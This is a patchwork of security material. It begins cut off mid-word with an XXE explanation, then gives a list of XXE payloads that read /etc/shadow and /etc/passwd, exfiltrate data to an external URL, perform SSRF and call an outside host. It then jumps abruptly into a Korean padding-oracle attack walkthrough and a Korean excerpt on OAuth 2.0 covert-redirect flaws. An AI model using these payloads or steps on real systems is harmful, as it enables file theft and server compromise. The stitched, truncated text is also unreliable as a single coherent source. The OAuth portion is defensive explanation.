hat is XML external entity injection? XML external entity injection (also known as XXE) is a web securityvulnerabilitythat allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access. In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.
XML External Entity (XXE) Injection Payloads
XXE: Basic XML Example <!--?xml version="1.0" ?--> <userInfo> <firstName>John</firstName> <lastName>Doe</lastName> </userInfo>
XXE: Entity Example <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>
XXE: File Disclosure <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo>
XXE: Blind Local File Inclusion Example (When first case doesn't return anything.) <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
XXE: Access Control Bypass (Loading Restricted Resources - PHP example) <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>∾</result></foo>
XXE:SSRF ( Server Side Request Forgery ) Example <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
XXE: (Remote Attack - Through External Xml Inclusion) Exmaple <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY test SYSTEM "https://example.com/entity1.xml">]> <lolz><lol>3..2..1...&test<lol></lolz>
XXE: UTF-7 Exmaple <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
XXE: Base64 Encoded <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XXE: XXE inside SOAP Example <soap:Body> <foo> <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </foo> </soap:Body>
여기서 찾으려는 값은 기존의 ciphertext[N-1] 값 대신 패딩을 만족시키는 값으로 intermediary 값을 찾기 위한
임시 값이다. 우리는 ciphertext[N-1][15] 값을 임의로 넣어가며 공격하고, 서버에서 에러가 발생하지 않는 값을 찾아내면 된다. 에러가 발생하지 않았다는 것은 plain text의 마지막 블록의 패딩이 딱 들어 맞는다는 뜻이므로
맨 마지막 한 바이트(cipher text[N-1][15])만 256(0x00 ~ 0xFF) 무작위 공격을 수행하여 에러가 발생하지 않는
ciphertext[N-1][15] 값을 찾는다.
2. intermediary value[N][15] 값 찾기
찾은 ciphertext[N-1][15] 값을 plaintext[N][15] (0x01)과 XOR 하면 intermediary value[N][15] 값이 나온다.
3. ciphertext[N-1][14] 값 찾기 + intermediary value[N][14] 값 찾기
ciphertext[N-1][14] 값을 구하기 위해서는 패딩이 두개 들어가야 하므로, 먼저 위에서 구한 intermediary value[N][15] 값과 늘어난 패딩 길이의 값인 0x02 와 XOR 연산한 값을 ciphertext[N-1][15] 값에 넣어주고 ciphertext[N-1][15] 값에 넣어주고 ciphertext[N-1][14] 값에 무작위 공격을 수행해야 한다.
예를 들어 2번의 과정으로 intermediary value[N-1][15] 값에 0x35 (0x37 XOR 0x02) 값을 고정한 후 ciphertext[N-1][14] 값에 무작위 공격을 수행하여 에러가 발생하지 않는 ciphertext [N-1][14] 값을 찾는다.
이후 찾은 ciphertext[N-1][14] 값과 plaintext[N][14] (0x02) 값을 XOR 하면 intermediary value [N][14] 값이다.
4. 패딩 길이를 하나씩 늘려가며 3번 과정을 반복한다.
5. 4번 과정으로 얻은 intermediary value[N] 값과 원래의 cipher text[N-1] 값을 XOR 하여 Plain text[N] 값을 얻을 수 있다.
(정의) 제 3의 앱이 자원의 소유자인 서비스 이용자를 대신하여 서비스를 요청할 수 있도록 자원 접근 권한을 위임하는 방법 출처 : 금융보안원 "OAuth 2.0 개요 및 보안 고려사항" 보안연구부-2015-030
Authorization Code Grant방식
OAuth 2.0는 총 4 가지 인증 방법을 갖고 있는데, 그 중 비교적 안전한Authorization code grant방식의 인증 과정을 소개합니다. [그림 1]은 페이코에서 적용한 인증 프로세스로 Authorization code grant 방식을 사용하고 있습니다. 자세한 내용은https://developers.payco.com/guide/development/start에서 확인할 수 있습니다.
[그림 1] 페이코의 OAuth 2.0 프로세스
2.2 Covert Redirect
OAuth 2.0 인증 Flow 중redirect_uri파라미터 값에 대해 검증이 누락되거나 미흡할 경우 발생하는 취약점입니다.
정상적인 경로라면 사용자(Resource Owner)가 로그인 성공 후 발급받은 Authorization code를 Client로 전달해야합니다. 그러나 [그림 3]과 같은 방법으로 공격자는 사용자(피해자)에게 변조된 Redirect URI를 보내 로그인을 유도합니다. 4번 단계에서 사용자(피해자)가 Redirect URI 값이 변조된 URL로 로그인할 경우, Authorization code 값이 공격자 서버로 전달되어 공격자는 사용자(피해자)의 계정을 탈취할 수 있습니다.
4. 마무리
OAuth 2.0 은 안전하지만 구현이 매우 복잡하기로 유명합니다.
복잡함 때문에 실제로도 OAuth 2.0를 제공하는 많은 서비스에서 취약점이 발견되고 있는데요, 구현만 제대로 한다면 안전하지만 매우 복잡하다보니 취약점이 존재할 확률이 높은 것 같습니다.
심지어 취약점이 발생할 경우 사용자 계정 탈취로 이어질 수 있으므로 OAuth 2.0 구현 시 충분한 이해와 준비, 검토가 요구되며 서비스 오픈 이후에도 꾸준한 보안 검수를 통해 취약점이 발생하지 않도록 관리가 필요합니다.
끝으로, OAuth 2.0 Authorization code grant 인증 방식 도표를 활용하여 취약점을 보완하기 위한 설명으로 마무리하겠습니다.
[그림 5] OAuth 2.0 Authorization code grant 인증 방식의 취약점 보완 방안
